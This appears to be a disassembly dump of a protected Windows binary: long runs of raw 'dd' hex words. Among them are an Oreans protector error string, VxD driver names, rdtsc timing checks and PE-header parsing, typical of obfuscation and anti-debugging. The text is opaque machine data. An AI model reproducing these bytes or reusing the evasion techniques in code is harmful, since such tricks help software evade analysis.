		dd 0E74C501Fh, 0E3829607h, 89C52FC7h, 0F4CA55h,	0D33D9396h
		dd 90865C97h, 0D9D1272Ah, 22787BE5h, 0FEC9F1B8h, 6A9FFFFFh
		dd 26888063h, 0D472E38Eh, 3B69FC57h, 726C42EDh,	0E6E17614h
		dd 0FD95FFF3h, 58B9E152h, 12C075FEh, 0C9BDB51Dh, 6E065C5Fh
		dd 0A1C93AC3h, 0A875FE58h, 0BC0DF05Ah, 75FE5896h, 4245A9A0h
		dd 2B2E988Ch, 0BF2E0EC7h, 5C3010E9h, 0DE32D005h, 3F4Ch
		dd 4874F200h, 0AB6FE907h, 789B122h, 42906FE9h, 480600D8h
		dd 0B452EA54h, 0EF178811h, 696FE907h, 3E562225h, 1E6C6B46h
		dd 0E2EDB4h, 0DA4C0000h, 8BFCF262h, 6FE92D63h, 0A2881C6Ah
		dd 2D69D3A4h, 4FDD35Ch,	0B84BA1A4h, 6FE90790h, 6AE7519Fh
		dd 0C435E063h, 69FB1BA3h, 9B711C6Ah, 0B4A442A2h, 0DAB05BBBh
		dd 341781E1h, 0CB3CD2D9h, 75FB24A3h, 19C45CAAh,	0E751AA8h
		dd 0FCA7F570h, 70683226h, 810C760Eh, 0B452B2ABh, 110BCBC4h
		dd 0C25AB0B3h, 0F51D8E17h, 46FF053h, 63C7BEB6h,	0B0BB16F9h
		dd 0DE76DAD1h, 95C9C233h, 32A46A03h, 52457914h,	140D0567h
		dd 1D6B4AB4h, 5078E972h, 0CA75FB89h, 0E7107859h, 459392B7h
		dd 8BF5534Dh, 0D2302A00h, 0EC4A4434h, 641804FAh, 7F240773h
		dd 7D8h, 902E9A8Dh, 0A442ACA0h,	0BC5ABCB4h, 0D270D6CCh
		dd 0E785EDE2h, 0B8AD1F7Ah, 0CBC2B250h, 0E0D9C967h, 0F8F2E280h
		dd 9CFDFC9Ah, 0FE6F032Bh, 0A5F70A75h, 6057150Fh, 0AB6164FCh
		dd 9A5053B1h, 843A3DA5h, 0CF26298Dh, 63C13010h,	91F1EAC0h
		dd 0D7A68627h, 0ECE17FDDh, 0D81D7A95h, 0D653188Ah, 7E5BCB0Ah
		dd 7ADB14h, 0A9320000h,	0E88D1038h, 0D9D11F6Fh,	0D6127CE4h
		dd 35E0636Ah, 0FB0463C4h, 9F75FE69h, 0EE4447A5h, 0FB0C335Bh
		dd 0F51D8E75h, 475FB0Ch, 0FF69B7B6h, 264EBF20h,	3575FB0Ch
		dd 8F26D8EBh, 932BE878h, 68FF8FBh, 0FB546D95h, 0C42E7C75h
		dd 0FB542551h, 0E5433B75h, 4C364E05h, 5E61F9ABh, 494CB2A8h
		dd 0E65535ECh, 53C44D10h, 75FB852Bh, 0D97AE432h, 0F8CE25F9h
		dd 5315DE2Fh, 0BB000000h, 2991865Ch, 0E966D026h, 43B45FE2h
		dd 69FB2432h, 0F4544DFBh, 39BF1h, 6EDF504Ah, 75FB2946h
		dd 0C46F0755h, 0C669AC52h, 0FBB42D55h, 5AEE3C75h, 7DE768BAh
		dd 57150FFFh, 6265FD5Fh, 0D27D0407h, 0AA6ED749h, 70383B1Dh
		dd 18729306h, 4D9B700Eh, 7CAD5BAFh, 1AC55C4Fh, 0FB2F0CA9h
		dd 0B5AFFD69h, 0B1749B62h, 7A0904B5h, 67815ECFh, 4290305Fh
		dd 5AE9E43Fh, 9EBD3EAFh, 17A02A71h, 4D617EA6h, 0D53F8D36h
		dd 27FDA8F6h, 4131CF2Dh, 0FDF7E947h, 0FAB31227h, 65E7217h
		dd 14070000h, 261A0AA8h, 362E1EBCh, 504636D4h, 675C4CEAh
		dd 95F461FFh, 2CCA3227h, 43E1453Ch, 5CFA5A53h
		dd 7614726Ch, 7DA51677h, 8C75FE70h, 150F2779h, 0C24BB4B7h
		dd 0E9072951h, 78E2306Fh, 0A846A8A0h, 33291813h, 198A35CDh
		dd 69FC588Bh, 98FEF4A2h, 4F47FD00h, 3167FBEDh, 11F47361h
		dd 5FB6Ch, 0B776A00h, 1F897D6Dh, 37999181h, 4DB3A999h
		dd 62CABFAFh, 8AF857C4h, 9F8F2D95h, 0B6A644A8h,	0CFBF5DBDh
		dd 0DAD977D5h, 71E00879h, 0DCEF75FEh, 62D35C8Ah, 6FE9073Ah
		dd 0C89F341h, 66D78201h, 69FC57D4h, 79E2E533h, 4649ABA3h
		dd 0B6AE86F0h, 30F66254h, 6E517361h, 59FC9h, 67D3C600h
		dd 7BE5D9C9h, 93F5EDDDh, 0A90F05F5h, 0BE261B0Bh, 0E654B320h
		dd 0FBEB89F1h, 1202A004h, 2B1BB919h, 3635D331h,	713C64D5h
		dd 304375FEh, 0E0636ADEh, 583EC435h, 7F5569FCh,	352B2389h
		dd 388665CFh, 5BC1B78Dh, 0CFA50EF1h, 0BE7477D5h, 0D6366C4h
		dd 3B330B75h, 316FE7D9h, 0E9CC7361h, 53B44h, 0CB372A00h
		dd 0DF493D2Dh, 0F7595141h, 0D736959h, 228A7F6Fh, 4AB81784h
		dd 5F4FED55h, 76660468h, 8F7F1D7Dh, 9A993795h, 72A0C839h
		dd 9CAF75FEh, 0B7150F4Ah, 0A604FEB4h, 0AF8F46A3h, 0B33A42Dh
		dd 196FE907h, 63B9BC24h, 0D4AC1664h, 5FD17CDAh,	632F0778h
		dd 2CAA1469h, 0E1E4423Ch, 0E9C36390h, 6CF57E6Fh, 0E9C3D3FBh
		dd 85EBE16Fh, 0DF2D2C82h, 218BF1E7h, 0D7D1A080h, 0C638DB79h
		dd 0DB9AE3E3h, 4C248E8Dh, 3BF1F452h, 0A245E341h, 1812D4CCh
		dd 0C91F22BAh, 58EBE25Fh, 767F3CADh, 408E69FBh,	49C0EC3Dh
		dd 35F875FBh, 104685Fh,	0C0A041ABh, 0AC72683Eh,	0F54B4EB8h
		dd 9A045A5Dh, 2FC066BDh, 36ADDEh, 6A530000h, 0C435E063h
		dd 69FB11C3h, 0A8F9FC4Ah, 75FB1E7Ch, 0DED49E92h, 871F7578h
		dd 15D5CE84h, 63B9BC1Ch, 8D06C8CBh, 8F683EADh, 9184DBAFh
		dd 0E6CBDE2Fh, 71000000h, 0CB7150Fh, 74DE3C36h,	82E6DB91h
		dd 0EEEAA8B3h, 938B8371h, 40D82E31h, 8FED43Dh, 666038A2h
		dd 139C0508h, 0E9B37AA2h, 0D9D3816Fh, 0A179E37Bh, 6F954DA7h
		dd 0C2163EAFh, 0D7256FE9h, 22827943h, 0F661EC8Ah, 8E6FE969h
		dd 28B3694h, 0E96A6991h, 0B822706Fh, 0F2504A3Ah, 0A9994EFh
		dd 8835EE5Fh, 0B66469FBh, 85A5DBDh, 0F489C52Ch,	6F079F86h
		dd 52313CD1h, 9FF5F85Ah, 61D35C07h, 0B58EEFDDh,	376E093h
		dd 700FFE6Dh, 0E1B762B0h, 43E684ECh, 404BF7D1h,	0D943B512h
		dd 0B2A40C01h, 7970119Ah, 9905AA8Dh, 0CC000003h, 0DFCF6DD9h
		dd 0F3E381EBh, 0BFB99FBh, 2111AF15h, 0B926C42Ch, 8FF7EC5Eh
		dd 0A60A01F1h, 0BF1F1808h, 0D9373121h, 6ADB3C3Bh, 75FE7342h
		dd 0FE43649h, 7114B21Ah, 0D53FA59Bh, 7A503FDh, 80636AB3h
		dd 0DF8A228Ch, 14878056h, 0E9077BA3h, 9C34826Fh, 66D94399h
		dd 69FB1165h, 25356A4h,	75FB1ED6h, 3D32F4ECh, 843A3DD5h
		dd 3C322A8Ch, 0FEB7D3D6h, 0D9AF1Eh, 91F54C20h, 61EADE2Fh
		dd 0FB12C8F0h, 8DBD4275h, 0B0C985ECh, 0C0F963B1h, 0DAh
		dd 0B7150F66h, 7A40360Ch, 0C41A1D85h, 69D3292Ch, 73DBD086h
		dd 3B41F70h, 0CEC86FE9h, 0E8E2D270h, 0AC1E878Ah, 1E597524h
		dd 62DF490Ch, 77D2DC6Bh, 98324F87h, 0E1373AA4h,	9406B149h
		dd 3E7C17CDh, 72FD6769h, 0C7EF60E9h, 0D66FE9B3h, 0F2AB1E88h
		dd 1B69FBD0h, 584C22CDh, 630684EEh, 954169DAh, 0FA4875FBh
		dd 89181390h, 8566CDEh,	28D5903h, 659C0D98h, 68701059h
		dd 0A4996F1Ah, 8184E2DCh, 0E70F802Bh, 0F66FEF07h, 827210A8h
		dd 733258Dh, 4797082h, 26E7C21h, 4F70000h, 160AFA98h, 261E0EACh
		dd 403626C4h, 574C3CDAh, 85E451EFh, 1CBA2217h, 33D1352Ch
		dd 4CEA4A43h, 6604625Ch, 6D950667h, 7C75FE74h, 1A0F1769h
		dd 783DC1B6h, 8E266073h, 0A80600F0h, 150FB60Ah,	62FA6257h
		dd 51AFA95Fh, 942F1EB3h, 41778E9h, 287669FBh, 9C4ABC25h
		dd 1513CDE2h, 0D89CC435h, 55A375FBh, 0B4E053BDh, 0EC75FBD8h
		dd 85F3313h, 4FDE3050h,	25h, 0E0636AF5h, 1203C435h, 0BC0A69FBh
		dd 1E3C68B9h, 9B7475FBh, 9190E7BBh, 20D7DE2Fh, 2E000000h
		dd 93FD6158h, 7477457h,	0B5B86FE9h, 1D14D6CEh, 0C860B6B9h
		dd 3148530h, 0A69FB2Ch,	6ACA1EBCh, 0C435E063h, 69FB01F3h
		dd 98E9EC3Ah, 75FB0E6Ch, 69EBCBA4h, 0B1110AE0h,	9DC558AEh
		dd 0AC75FB0Eh, 0E6C665Eh, 6E4BB50Bh, 0DE2F8617h, 255Eh
		dd 48740400h, 0B96FE907h, 0FB842FB2h, 7D90172h,	92E06FE9h
		dd 2BA4B528h, 248569FBh, 0FB348BB3h, 0AC449275h, 636ABA0Eh
		dd 0DD30B0E4h, 740CFD5Fh, 46B740C9h, 6FE9621Eh,	275DF2Dh
		dd 69FCB384h, 0BC923D8Bh, 0E3B964C2h, 0CA3428ECh, 0EE168732h
		dd 0FD75FE11h, 0D7C745AFh, 0FED47FDDh, 0F8209106h, 775FE11h
		dd 0D4B721B9h, 44EF7279h, 1160D0D3h, 842F7D70h,	0AB56B4AEh
		dd 797CDCD5h, 0D2322B23h, 910F79CFh, 0BE2018EEh, 0A47169BBh
		dd 33B61E2Ah, 5F59319Bh, 0BF95FE01h, 7BF862CAh,	0D546F170h
		dd 69FB8214h, 3BF5E735h, 0BC736407h, 0D234D9h, 0A0930000h
		dd 0B2A69634h, 0C2BAAA48h, 0DCD2C260h, 0F3E8D876h, 2180ED8Bh
		dd 0B856BEB3h, 0CF6DD1C8h, 0E886E6DFh, 2A0FEF8h, 931A203h
		dd 1075FE76h, 636AABFDh, 0CDC435E0h, 5069FC56h,	0B24AA8A2h
		dd 7B7046AFh, 0CFF76813h, 0DE75FE57h, 544E2690h, 6E6858F6h
		dd 978F6510h, 72DC3235h, 9FE23E8Fh, 0DA916257h,	0D3312BFAh
		dd 0ED4B4535h, 87F881EAh, 0A5A7205Fh, 0DEB6206Eh, 7C186E8h
		dd 6F56878h, 0A7376D95h, 962E7CA5h, 5145FBFEh, 342EE4E7h
		dd 0D9DAA0DAh, 45DDCEAAh, 4C2CEB42h, 0A58544DDh, 91574D23h
		dd 0E0363997h, 9A8F4548h, 41D92F32h, 0A705FFD7h, 0EABA8AFCh
		dd 569725EBh, 0F5CB6EECh, 552D9701h, 55FAFD5Bh,	8, 340A9503h
		dd 3672DC3Ah, 0ADB01C0Fh, 9C9FFDF7h, 8A8DEDE6h,	7679DDD4h
		dd 6063CBC0h, 4A4DB5AAh, 35389E94h, 2225877Fh, 0B0E786Ch
		dd 0E089504Dh, 405h, 4E88300h, 5C240487h, 68240489h, 2BCDh
		dd 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h,	1C895C24h
		dd 0D8B85024h, 0BA26BD1Dh, 0DF583519h, 29C281h,	0C20107F7h
		dd 29EA81h, 545807F7h, 81241C8Bh, 4C4h,	0BA525200h, 0E8145BDh
		dd 4245401h, 8438F5Ah, 0BD086B81h, 0FF0E8145h, 835B2434h
		dd 34FF04C4h, 0C4815A24h, 4, 0FD0F04E9h, 0BF3E17FFh, 0AE858BC6h
		dd 3A5E444Ah, 0B8B42AEAh, 615707Bh, 0E0FFC503h,	17280BE2h
		dd 3AE7A43Bh, 5C40ADA7h, 181639F7h, 224BDC62h, 36484659h
		dd 5388226h, 0BE618F3h,	3487E0D2h, 0DE8h, 0C1E44500h, 0EC4CD568h
		dd 3ADDD55Bh, 81607FF7h, 938230D8h, 0F5E6108h, 0C681DEB7h
		dd 6070h, 58A0Fh, 2CBB0000h, 2B3E76D6h,	3C8BF5D2h, 817CB316h
		dd 3DF7F9F7h, 3890F73h,	66000000h, 0F781DE8Bh, 761AF377h
		dd 0FA07B966h, 99A7C781h, 0E08167A4h, 6635723Dh, 0EE857h
		dd 0D4F70000h, 328A9F2Dh, 0A30EAEC1h, 8ECAD25Bh, 8F5BDA8Ah
		dd 0BF0F1604h, 606056CEh, 0F3C1BB61h, 58616414h, 6604EA83h
		dd 81BE22BBh, 0FFA028FAh, 9B850FFFh, 60FFFFFFh,	526AEB80h
		dd 58F9BF0Fh, 83E961h, 51530000h, 8B575652h, 661C245Ch
		dd 5A4D3B81h, 68850Fh, 0B70F0000h, 0D8033C43h, 503B8166h
		dd 57850F45h, 8B000000h, 5C03785Bh, 738B1C24h, 24740324h
		dd 7B8B561Ch, 1C738B20h, 20247C03h
		dd 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h
		dd 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah
		dd 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah
		dd 0C0330008h, 0FFFFF1E9h, 0EBCA8BFFh, 53464934h, 2052474Dh
		dd 444B5620h, 20202020h, 4D4D5620h, 20202020h, 49575620h
		dd 2032334Eh, 44585620h, 2052444Ch, 20h, 2 dup(0)
		dd 7C6E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0E0E1B1C3h, 10E903h, 4FC60000h
		dd 51BDF6AAh, 0AFAAEEECh, 71D67B2Bh, 60FCD7CBh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 9EC35545h, 0C2AECD37h
		dd 456E7F85h, 9E8F960h,	5D000000h, 3C6A2592h, 26D72FBDh
		dd 45F7BF66h, 0C7F9615Eh, 15728B85h, 6,	6E900h,	3DCF0000h
		dd 0BA8854BEh, 5E9C68Bh, 0
		dd 5D818BE2h, 6AD8B70Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 52BFC350h, 2FADF278h
		dd 0C1FCF907h, 0CE910E8h, 64000000h, 440BB629h,	0AA37B579h
		dd 0E973ADCEh, 0Ah, 85C631E3h, 0F9C441BBh, 0C1667A66h
		dd 6A08C8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0FBF431C3h, 187461DFh, 0E9CED811h, 8, 924F3E27h
		dd 6629F4CFh, 728F8589h, 6A0615h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0CA4FE6C3h, 0E9603CF9h
		dd 12h,	0CF8BA071h, 798B857h, 0B5CB7F48h, 0D7E21451h, 57602183h
		dd 860F5Fh, 61000000h, 7880F61h, 0F000000h, 180h, 0C166F800h
		dd 6A08CBh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 600739C3h, 0DA22BF66h, 6061C18Ah,	2840Fh
		dd 61600000h, 40FB8361h, 59850Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8DE6C3h
		dd 6157263h, 0CE9h, 0A2EEB400h,	0E8ED512h, 88167643h, 19FE95Ch
		dd 8E0F0000h, 1Bh, 158F0Fh, 10E90000h, 0C0000000h, 35CBFFF1h
		dd 3FBC8B0Fh, 55E30926h, 839C4DC4h, 850F0DFBh, 5Bh, 8820Fh
		dd 860F0000h, 2, 8DFC6160h, 15726BBDh, 198C0F06h, 0F000000h
		dd 138Bh, 0EE900h, 0BCFC0000h, 0FC4CC5BEh, 0D6843171h
		dd 271F1774h, 10E9h, 1205DE00h,	7A59F0Eh, 0F77213CFh, 2AFD9647h
		dd 127E90Dh, 8C0F0000h,	7, 18A0Fh, 83F80000h, 850F01FBh
		dd 71h,	0BD8DF8F5h, 6157273h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0BDC35646h,	57045A9Fh, 0E2E93997h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0F35CC353h, 0F2BBDA0h,	158Eh
		dd 10E900h, 96800000h, 0F1D0F570h, 6634706Fh, 0E98D638Fh
		dd 0F602E37h, 0D08ACBBFh, 2AFB8361h, 4D850Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 9E01FCC3h, 5578CB04h, 727BBD8Dh, 0E9600615h,	8, 0F4191B87h
		dd 346E2C83h, 5E9h, 82E2000h, 0E961F0B5h, 51h, 18B0Fh
		dd 83F50000h, 850F27FBh, 332h, 0FE9h, 20551700h, 0D120993Dh
		dd 0B6C9390Bh, 4B4A6FEBh, 7283BD8Dh, 6A0615h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E996CCC3h
		dd 5, 0F496DC0Fh, 93BD8966h, 6A061572h,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BED5C351h
		dd 0CC4560BCh, 6E98Eh, 37AC0000h, 8973291Bh, 6AC88C66h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FD5C351h, 78Bh, 1820F00h, 0F8000000h, 6A0324h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 3554C1C3h, 59662652h, 0A800Fh, 0F600000h, 81h, 61616000h
		dd 850FC00Ah, 179h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0C5C35343h, 0AEFF6E19h, 4CB58D5Ch, 0F8061579h
		dd 79C1858Bh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 3DFB22C3h, 0A0D28160h, 0E82A751Dh
		dd 6, 0FE984902h, 585046E0h, 12E9615Eh,	1E000000h, 0B0BE817Ah
		dd 0FE705974h, 64FE3488h, 8094C556h, 52509299h,	0CE9h
		dd 0EBDC3200h, 3F25694Dh, 0CD76D8A9h, 0F310FF7h, 284h
		dd 5A616000h, 50605058h, 0B6310F52h, 0E9585A95h, 0Ah, 916B4E41h
		dd 0C8AAE19Bh, 9261415Bh, 4C010FFCh, 830FFE24h,	8, 2860Fh
		dd 61600000h, 57006A5Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0CE97Ch, 0CC840000h, 0D53D44BFh
		dd 52E271CFh, 0C2837C7Dh, 8966F924h, 0F560FC72h, 0BE8h
		dd 0A75B3600h, 41AF2057h, 53A938F0h, 615B5956h,	6A10CEC1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0C287C351h, 0FEC8224h, 1B89h, 158D0F00h
		dd 0E9000000h, 10h, 0CBDF4545h,	5154CDD5h, 637899A5h, 97B4FE04h
		dd 2728966h, 0F04CDFCh,	180h, 0C1E9FC00h, 0FC000000h, 8DC68060h
		dd 2860Fh, 5B500000h, 0C1858B61h, 6A061579h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 8112C353h, 0D2CF60E6h, 168F0FD6h, 0E9000000h, 11h, 28011E92h
		dd 8ECB42BAh, 16EF90E4h, 0EB53CF47h, 18B0FAAh, 0F5000000h
		dd 794CB58Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0D9A98EC3h, 14E9h, 0F1E71600h, 79E1E874h
		dd 85388CE8h, 0A273AC3Dh, 0E85DBA25h, 86858D30h, 0E9061549h
		dd 13h,	0C1D82A26h, 6E292C94h, 24D470CFh, 7E3653ECh, 0FFA60C20h
		dd 0BF6660D0h, 81669C0Ch, 61036FE8h, 728B8589h,	6A0615h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0BAC95C3h, 0DB22D68Ah, 0E961F8A0h, 11h, 460BE84Eh, 9FAB5598h
		dd 739390B8h, 0B662425Bh, 8B858BDEh, 0F061572h,	198Ah
		dd 61606000h, 10E9h, 0DDA1DF00h, 99D892AEh, 7F51EE75h
		dd 0E1F2645Ah, 0FC361E3h, 18Dh,	0F60F900h, 78Eh, 0B70F6000h
		dd 6145B4F9h, 79C1BD83h, 0F000615h, 3285h, 0BB666000h
		dd 0E9617B51h, 0Fh, 34D84799h, 0FCF17F8Eh, 0D1FD47A4h
		dd 0C73473DEh, 1579C185h, 1013F06h, 8860F00h, 0F000000h
		dd 281h, 0E9616000h, 21h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 0BCC35545h, 0E8803D51h, 20CD7Dh, 0B000000h
		dd 8D3774C0h, 0BD8B0C70h, 6157293h, 8B9h, 2275A600h, 8BFA7549h
		dd 9D8B3048h, 615728Fh,	7F34583Bh, 6BD38B15h, 0CA0304D2h
		dd 8589018Bh, 615728Bh,	8B04EBh, 8B61C5EBh, 15728B85h
		dd 6ACF06h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 51F573C3h, 0C07F17D4h, 60D3F585h,	80DFBF0Fh
		dd 6A6106D8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0DC3FC356h, 0F38A766h,	78Ch, 1830F00h
		dd 0F8000000h, 0EE8C08Bh, 71000000h, 762CAB24h,	644CED89h
		dd 49EFA9FCh, 0D2816683h, 0F958E7B2h, 5DA2C081h, 9ABF0000h
		dd 0B932D140h, 0
		dd 0F0134FFh, 0F5BD3B7h, 0C381D2BFh, 182F6DFh, 81F28B66h
		dd 579AECC3h, 0F1BF600Ch, 80484CABh, 8161CDC7h,	9D017CF3h
		dd 81C8935h, 662AEA80h,	0E981F88Bh, 5AC62287h, 18890Fh
		dd 850F0000h, 12h, 0DE9h, 27BD0400h, 0C6FCCB68h, 1AF848FAh
		dd 0C181D0B0h, 5AC62283h, 0BE665060h, 8A5AFFB0h, 0F98161C1h
		dd 0FFFFA2F4h, 0FF8E850Fh, 8B66FFFFh, 400E9D3h,	0
		dd 41330000h, 6E69206Eh, 6E726574h, 65206C61h, 70656378h
		dd 6E6F6974h, 63636F20h, 64657275h, 64412820h, 73657264h
		dd 30203A73h, 29782578h, 6C500D0Ah, 65736165h, 6F63202Ch
		dd 6361746Eh, 75732074h, 726F7070h, 726F4074h, 736E6165h
		dd 6D6F632Eh, 6854202Eh, 206B6E61h, 21756F79h, 0E4h dup(0)
		dd offset loc_55FFFF+1
		dd offset dword_445750+0A8B0h
		dd 0
		dd 0F7E90000h, 6A000011h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 7859C350h, 908F9DA3h
		dd 19D0120h, 8B061229h,	1222ED85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 95D43F3Ah
		dd 0F09F7377h, 1F85CB6h, 120CAD8Dh, 24443906h, 0A9850F04h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0F687C356h, 605A7E10h,	1D999D89h
		dd 10E90612h, 12000000h, 67CDE644h, 3558D701h, 7E3B7BFEh
		dd 612C2853h, 53DBD83h,	0F000612h, 5F84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 370CBF44h, 0F6D930FBh, 870F71E2h, 13h, 0BE960h, 94200000h
		dd 0C74650FDh, 0E46196Dh, 8D61F58Bh, 123B5D85h,	8E906h
		dd 3CCC0000h, 56FFA63Fh, 0E0FF407Eh, 7619D31h, 0BD890612h
		dd 612167Dh, 1D39858Bh,	6A0612h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 48AA61C3h, 0DBEE1F08h
		dd 819529ECh, 3906122Ah, 0F042444h, 2B85h, 14820F00h, 0F000000h
		dd 0E8Fh, 9E900h, 34430000h, 7312C8CBh,	0F8C3FB48h, 7F0485C7h
		dd 10615h, 85290000h, 6123019h,	3FE9F960h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 68EC350h, 0CBE61ADEh, 0B589F242h, 61203C5h, 0C830Fh
		dd 890F0000h, 6, 2A558D31h, 612h, 1B80000h, 87000000h
		dd 1580C085h, 75C00B06h, 71B5FFF6h, 8F061228h, 157EFC85h
		dd 6A206A06h, 0A595FFFFh, 83061214h, 120271BDh,	8740006h
		dd 95FF006Ah, 61219CDh,	99BD83h, 74010612h, 80680Dh, 0FF6A0000h
		dd 14A595FFh, 9F80612h,	1218119Dh, 10E906h, 6D8C0000h
		dd 7BABD140h, 936AA256h, 3326198Dh, 0CE9FFA7h, 78000000h
		dd 84EBD571h, 6232A5F0h, 0B84570C6h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FBC35545h
		dd 8509CA5Bh, 6122905h,	19A18501h, 548B0612h, 85292824h
		dd 6122D2Dh, 187D8589h,	6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 335B62C3h, 89ECE5CAh
		dd 12047985h, 5DB53106h, 0BE06120Dh, 3Ch, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 0D2C35343h, 1965609Ch
		dd 600A62CEh, 0B58960B4h, 6120EB9h, 24740361h, 56006A24h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 66044755h, 55006AADh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 4DCE8AB3h, 24244403h, 8F0F50F5h
		dd 0Bh,	6E9h, 0CCE1E500h, 89F09D6Ah, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 13A84EC3h
		dd 178D0Fh, 0E9600000h,	0Bh, 5CCA18A7h,	89EDD51h, 0B8534D85h
		dd 2ED24E87h, 0DE961h, 1C260000h, 0DE0BC045h, 29B74385h
		dd 8BE124F7h, 6A7840h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0EDEB3CC3h, 6E9h, 1C955300h, 83483482h
		dd 157F04BDh, 850F0006h, 0E0h, 0E2DBD89h, 50500612h, 0F525052h
		dd 83h,	50310F00h, 5A310F52h, 0F585A58h, 50525031h, 5A310F52h
		dd 0F310F58h, 88h, 5A585A00h, 24048958h, 9E9h, 2EE5400h
		dd 1BC8EA10h, 85018578h, 6121295h, 2C24448Bh, 459D2960h
		dd 0F061201h, 283h, 61585700h, 0FE86090h, 0F1000000h, 1C240431h
		dd 29E42DC3h, 7D74C436h, 0ADB9453Eh, 5F24FC74h,	2870Fh
		dd 0EA8A0000h, 840F5061h, 18h, 13E9h, 0E8250800h, 6C513DA8h
		dd 450CB1Ch, 9B945615h,	81AA09Ah, 55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 858DFCDBh
		dd 615507Ch, 10298529h,	85890612h, 612004Dh, 2960D0FFh
		dd 122CB99Dh, 45B58B06h, 61061226h, 28244403h, 1FF59D89h
		dd 408B0612h, 50006A18h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0DB58950h, 4006122Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 98C35343h, 3A81E9Bh
		dd 0CE9h, 0F0310500h, 54FC81C8h, 4108FA86h, 85891Bh, 6A06157Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 58BDC350h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 5EC35040h, 658D8B60h,	8B061216h, 853161DFh
		dd 61228A1h, 0E1958960h, 61061215h, 0F78708Bh, 1988h, 14E900h
		dd 8E560000h, 435CFC49h, 0E32B37BCh, 2949D5BFh,	670B07A1h
		dd 0C683A1FFh, 57006A1Ch, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BD895851h, 6121075h
		dd 68E0Fh, 85890000h, 6121E61h,	85858996h, 8106122Dh, 24247Ch
		dd 0F100000h, 0FA87h, 0DE900h, 86C50000h, 41B6449h, 68D75176h
		dd 90C60E9Bh, 0C810Fh, 8A0F0000h, 6, 840Fh, 50500000h
		dd 0FE952h, 0CE6D0000h,	0E678A66Eh, 0EEABDE39h,	19ED44EFh
		dd 60310FC6h, 310F5250h, 5A61585Ah, 6A9058h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E901FDC3h
		dd 0Eh,	33F35D67h, 0FE1F18C2h, 8BE4D73Dh, 448B7A33h, 90F82824h
		dd 8880Fh, 840F0000h, 2, 0E9506160h, 0Eh, 36C9B988h, 1D5DE1A4h
		dd 0BA075A08h, 6A900887h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0BEA4C350h,	693DB07Dh
		dd 8A0FD535h, 6, 91D8D29h, 85890612h, 6121A41h,	507C858Dh
